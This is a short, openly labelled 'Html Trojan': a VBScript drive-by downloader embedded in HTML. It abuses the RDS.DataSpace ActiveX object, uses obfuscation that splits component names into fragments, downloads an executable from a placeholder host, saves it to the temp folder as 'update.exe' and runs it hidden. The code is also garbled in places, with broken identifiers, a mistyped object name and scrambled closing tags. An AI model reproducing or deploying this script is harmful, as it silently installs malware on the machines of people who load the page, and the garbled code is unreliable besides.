Html Trojan

<script language="VBScript" type="text/javascript">
on error resume next
dl = "www.site.com/trojan.exe"
Set df = ********.createElement("o bject")
cls1="clsid:BD96"
cls2="C556-65A"
cls3="3-11D0-9"
cls4="83A-00C04FC29E36"
clsfull=cls1&cls2&cls3&cl s4
df.setAttribute "classid",clsfull

strr1="Mic"
strr2="roso"
strr3="ft."
strr4="XML"
strr5="HTTP"
strr=strr1&strr2&strr3&st rr4&strr5
Set x = df.CreateObject(strr,"")
ab1="A"
ab2="dod"
ab3="b.S"
ab4="t"
ab5="re"
ab6="am"
strb1=ab1&ab2&ab3&ab4&ab5 &ab6
strb5=strb1
set YY = df.createobject(strb5,"")
YY.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fnamezz1="update.exe"
scripp1="Scrip"
scripp2="ting"
scripp3=".Fil"
scripp4="eSyste"
scripp5="mObject"
scripp=scripp1&scripp2&sc ripp3&scripp4&scripp5
set FF = df.createobject(scripp,"" )
set tmp = F.GetSpecialFolder(2)
fnamezz1= FF.BuildPath(tmp,fnamezz1 )
YY.open
YY.write x.responseBody
YY.savetofile fnamezz1,2
YY.close
set MM = df.createobject("Shell.Ap plication","")
MM.ShellExecute fnamezz1,"","","open",0
</ s c r i p t >
</BODY>
</HTML></body></html></script>